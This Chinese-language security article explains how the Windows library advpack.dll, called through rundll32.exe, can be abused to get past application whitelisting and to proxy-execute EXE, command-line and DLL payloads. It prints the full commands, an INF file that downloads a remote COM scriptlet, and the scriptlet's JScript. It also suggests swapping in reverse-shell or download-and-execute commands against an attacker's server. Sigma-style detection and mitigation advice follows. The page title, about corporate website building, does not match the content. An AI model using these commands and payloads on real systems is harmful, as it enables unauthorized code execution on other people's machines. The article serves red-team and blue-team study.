企业官网建设流程全解析

• 应用安全
• 渗透测试
• 红蓝对抗

本文聚焦 LOLBAS 项目中的 LOLLib 条目 advpack.dll，系统讲解如何借助系统自带的 rundll32.exe 调用其LaunchINFSection与RegisterOCX两个导出函数，实现本地/远程脚本加载、DLL 与可执行程序代理执行，以及应用白名单（AWL）绕过。读者将掌握该技术的完整命令语法、INF/SCT 载荷构造方法、底层调用链与检测缓解要点。

一、advpack.dll：被"正经用途"掩盖的 LOLLib

advpack.dll 是 Windows 系统自带的库文件，其官方定位是"用于配合 rundll32.exe 安装软件和驱动程序"的实用工具（见 yml/OSLibraries/Advpack.yml 中的Description: Utility for installing software and drivers with rundll32.exe）。它由微软签名、随操作系统分发，天然满足 LOLBAS 项目对"微软签名的系统文件"的收录标准（见 README.md 的 Criteria 一节），因此被归入 LOLLib（Living Off The Land Library）类别，记录在仓库的 Archive-Old-Version/OSLibraries/ 目录下。

从 LOLBAS 的角度看，advpack.dll 的价值不在于其安装驱动的本职功能，而在于它的导出函数可以充当攻击者的"代理执行"入口。其完整路径如下（来自原文档Full path一节）：

在 yml/OSLibraries/Advpack.yml 的元数据中，该条目被标注为Category: AWL Bypass/Category: Execute，Privileges: User（普通用户权限即可利用），并映射到 MITRE ATT&CK 的MitreID: T1218.011（rundll32 滥用），适用系统为 Windows 10 / Windows 11。也就是说，它不需要管理员权限，属于典型的"低权限、高危害"的绕行组件。

二、攻击面总览：两条导出函数、五种载荷形态

advpack.dll 能被 LOLBAS 收录，核心在于两个导出函数：

1. LaunchINFSection：解析并执行一个 INF（信息文件）中的指令节，可在指令里指定由 scrobj.dll 去加载并执行一个本地或远程的.sctCOM Scriptlet；
2. RegisterOCX：本意是注册 OCX 控件，但传入的参数并未被严格校验，因此可以传入.exe、命令行字符串甚至.dll，实现任意代码的代理启动。

原文档 Archive-Old-Version/OSLibraries/Advpack.dll.md 完整给出了 5 条命令，整理为下表：

YML 版本（yml/OSLibraries/Advpack.yml）对上述命令做了结构化标注：前两条的Category为AWL Bypass，Tags为Execute: INF；后三条的Category为Execute，Tags分别为Execute: EXE、Execute: CMD、Execute: DLL。注意命令行形态（"cmd.exe /c calc.exe"）由 Moriarty（@moriarty_meng）贡献，DLL 形态由 fabrizio（@0rbz_）贡献，INF 形态由 Jimmy（@bohops）贡献，原文档的Notes一节对此有明确致谢。

三、LaunchINFSection：用 INF 文件"遥控"脚本执行

3.1 命令语法拆解

LaunchINFSection的标准调用格式为：

rundll32.exe advpack.dll,LaunchINFSection <INF路径>,<节名>,<模式>,,

其中各参数含义如下：

• INF 路径：要解析的 INF 文件路径，可以是本地绝对路径（如c:\test.inf），也可以指向一个可访问的位置；
• 节名：指定要执行的 INF 指令节名。若为空，则隐含使用DefaultInstall节；
• 模式参数1：控制安装模式（此处固定传1）；
• 结尾的,：作为占位参数，保持与函数签名的参数数量一致，这是该技巧在实战中容易被忽略、也容易被检测规则盯上的细节。

两条命令的区别仅在于节名：DefaultInstall_SingleUser是显式指定节名，而空节名（test.inf,,1,）则隐含执行DefaultInstall节。

3.2 配套载荷：Advpack.inf 逐段解读

仓库在 Archive-Old-Version/OSLibraries/Payload/Advpack.inf 中提供了可直接使用的 INF 样本，内容如下：

[version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall_SingleUser] UnRegisterOCXs=UnRegisterOCXSection [UnRegisterOCXSection] %11%\scrobj.dll,NI,https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack_calc.sct [Strings] AppAct = "SOFTWARE\Microsoft\Connection Manager" ServiceName="Yay" ShortSvcName="Yay"

逐段分析其执行链路：

1. [version]节声明了Signature=$chicago$（INF 签名标记）和AdvancedINF=2.5，这是 INF 文件合法性的基础；
2. [DefaultInstall_SingleUser]节通过UnRegisterOCXs=UnRegisterOCXSection把执行委托给UnRegisterOCXSection节——注意，这里用的是"反注册"（UnRegister）语义，配合上一条命令中显式指定的节名DefaultInstall_SingleUser即可触发；
3. [UnRegisterOCXSection]节是真正的载荷触发点：%11%\scrobj.dll展开为C:\Windows\System32\scrobj.dll（%11%是 INF 中系统目录的系统变量），NI表示不写入注册表（No Registration / No Install），后面的 URL 则是要拉取的.sct脚本地址。

也就是说，LaunchINFSection本身并不直接执行恶意代码，它只是把控制权转交给scrobj.dll——即 Windows 脚本组件运行时（Windows Script Component Runtime，见 yml/OSLibraries/Scrobj.yml），由 scrobj.dll 去"下载并执行"远程的 COM Scriptlet。这正是原文档所述"Remote fetch and execute a COM Scriptlet by calling an information file directive"的完整含义。URL 部分在仓库样本中指向 LOLBAS 项目旧地址，实际使用时应替换为攻击者可控的服务器地址。

3.3 脚本载荷：Advpack_calc.sct

被远程拉取的脚本样本位于 Archive-Old-Version/OSLibraries/Payload/Advpack_calc.sct，它是一个标准的 COM Scriptlet（.sct）文件，关键结构如下：

<?XML version="1.0"?> <scriptlet> <registration description="Bandit" progid="Bandit" version="1.00" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}" /> <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </script> </scriptlet>

• <registration>节定义 progid 与 classid 等组件注册元数据，使 scrobj.dll 可以把它当作一个合法的脚本组件来实例化；
• <script language="JScript">中的CDATA块是实际执行体：通过new ActiveXObject("WScript.Shell").Run("calc.exe")启动计算器进程作为 PoC；
• 文件中<public>节还暴露了一个Exec()方法（内部执行notepad.exe），演示了 Scriptlet 暴露可调用方法的能力。

攻击者只需把Run("calc.exe")替换为任意命令（如 PowerShell 反弹、下载执行等），即可复用整套链路。

3.4 同类 INF 技巧在仓库中的呼应

这种"INF + scrobj.dll + 远程 SCT"的姿势并非 advpack.dll 独有，LOLBAS 仓库中还有多处同构条目可交叉印证：

• Ieadvpack.dll（Archive-Old-Version/OSLibraries/Ieadvpack.dll.md）：IE 的 INF 安装器，yml/OSLibraries/Ieadvpack.yml 明确描述其"具有与 advpack.dll 大致相同的功能"，命令结构与 payload（Archive-Old-Version/OSLibraries/Payload/Ieadvpack.inf）几乎一致；
• cmstp.exe（yml/OSBinaries/Cmstp.yml）：cmstp.exe /ni /s同样通过 INF 中的UnRegisterOCXSection触发 scrobj.dll 执行，对应载荷 Archive-Old-Version/OSBinaries/Payload/Cmstp.inf；
• InfDefaultInstall.exe：使用[DefaultInstall]+UnregisterDlls指令，载荷样本为 Archive-Old-Version/OSBinaries/Payload/Infdefaultinstall.inf。

可以推断，这套技巧的通用模式是：以合法的系统签名组件（advpack.dll / ieadvpack.dll / cmstp.exe 等）为入口，用 INF 文件承载指令，借 scrobj.dll 完成对远程脚本的拉取与执行，从而规避"禁止直接运行脚本/非签名文件"类的应用白名单策略。

四、RegisterOCX：把"注册控件"变成"代理执行"

RegisterOCX的官方语义是注册 OCX/ActiveX 控件，但 advpack.dll 的实现并未校验传入文件类型，导致它成为又一个"所见即所得"的代理执行点。原文档给出三种形态：

:: 直接执行可执行程序 rundll32.exe Advpack.dll,RegisterOCX calc.exe :: 通过 cmd.exe 执行命令行字符串 rundll32 advpack.dll, RegisterOCX "cmd.exe /c calc.exe" :: 加载 DLL 载荷 rundll32.exe Advpack.dll,RegisterOCX test.dll

三种形态的差异与适用场景：

在 yml/OSLibraries/Advpack.yml 中，这三条命令分别以Tags: Execute: EXE、Execute: CMD、Execute: DLL区分。从源码结构看，RegisterOCX内部会将传入参数交给 LoadLibrary/相关注册逻辑处理，而该函数并不要求参数必须以.ocx结尾，这才形成了 EXE/CMD/DLL 皆可传的"宽松边界"。相较LaunchINFSection需要配套 INF 与远端 SCT，RegisterOCX是更直接、更轻量的代码执行路径。

五、完整实战调用链与运行前提

综合上述分析，advpack.dll 两条路径的完整调用链可归纳为：

路径 A（远程脚本执行 / AWL 绕过）： rundll32.exe advpack.dll,LaunchINFSection <本地或远程>.inf,<节名>,1, └─> advpack.dll 解析 INF 的 UnRegisterOCXSection 节 └─> %11%\scrobj.dll 被加载 └─> scrobj.dll 从 URL 拉取 .sct COM Scriptlet └─> Scriptlet 内的 JScript 执行任意命令 路径 B（本地代理执行）： rundll32.exe advpack.dll,RegisterOCX <EXE | "CMD 命令行" | DLL> └─> advpack.dll 将参数直接交给注册/加载逻辑处理 └─> 目标 EXE / 命令行 / DLL 被执行或加载

运行前提与注意事项：

1. 权限：两条路径均只需Privileges: User，普通用户即可触发（见 yml/OSLibraries/Advpack.yml）；
2. 系统版本：YML 元数据标注适用 Windows 10 / Windows 11，且依赖rundll32.exe与scrobj.dll均为系统自带组件，无需额外安装；
3. 网络依赖：路径 A 的远程脚本模式需要目标机器能访问承载.sct的 URL（仓库样本中的 URL 指向 LOLBAS 旧仓库 raw 地址，仅供理解格式，实战必须替换）；
4. 只读仓库：LOLBAS 仓库本身是只读的文档/载荷样本集合，上述命令仅应在授权的测试环境（如实验虚拟机、红队演练环境）中验证，不应在真实生产主机上执行。

六、检测与缓解视角

在 yml/OSLibraries/Advpack.yml 的Detection字段中，作者团队收录了对应的 Sigma 检测规则（proc_creation_win_rundll32_susp_activity）与 Splunk 检测项（针对 rundll32 应用控制绕过的专项规则）链接，读者可直接在该 YML 文件中查看完整引用。结合该条目的技术特征，可提炼出以下可落地的检测要点：

• 命令行特征：监控rundll32.exe命令行中同时出现advpack.dll（或ieadvpack.dll）与LaunchINFSection/RegisterOCX关键字的进程创建事件；
• 参数形态异常：LaunchINFSection后紧跟.inf路径且节名为DefaultInstall*、RegisterOCX参数不是.ocx/.dll而是.exe或命令行字符串时，均应触发告警；
• 网络行为：rundll32.exe进程出现外联下载行为（拉取.sct等脚本文件）是强信号，可与命令行特征关联成更高置信度的规则；
• 关联组件：进程链中出现rundll32.exe → scrobj.dll → URL 下载的组合时，需重点排查，因为 scrobj.dll 本身就是另一个被 LOLBAS 收录的 LOLLib（见 yml/OSLibraries/Scrobj.yml）。

缓解层面，由于利用的是微软签名组件，单纯依赖"签名白名单"无法防御，建议结合行为检测、限制rundll32的网络外联、以及对 INF/SCT 下载行为的终端遥测来覆盖该技术。

七、仓库配套资料索引

若需深入研究或复现，可在当前仓库中查阅以下配套文件：

需要说明的是，本仓库同时维护着"旧版 Markdown 文档"（Archive-Old-Version/）与"新版结构化 YML"（yml/）两套数据源，二者对 advpack.dll 的描述一致：前者保留了最原始的命令与致谢信息，后者增加了MitreID、OperatingSystem、Category、Detection等字段。以 yml/OSLibraries/Advpack.yml 为准即可获得最完整、最新的元数据。

结语

advpack.dll 是 LOLBAS 项目中"合法组件被用于非预期用途"的典型样本：LaunchINFSection打通了"INF 指令 → scrobj.dll → 远程 COM Scriptlet"的下载执行链路，RegisterOCX则提供了 EXE/CMD/DLL 三种形态的本地代理执行能力，两者共同构成一套无需管理员权限、可绕过应用白名单的代码执行方案。理解它的调用链与载荷格式，对于红队构造规避技巧与蓝队建立针对性检测规则，都具有直接的参考价值。

• 应用安全
• 渗透测试
• 红蓝对抗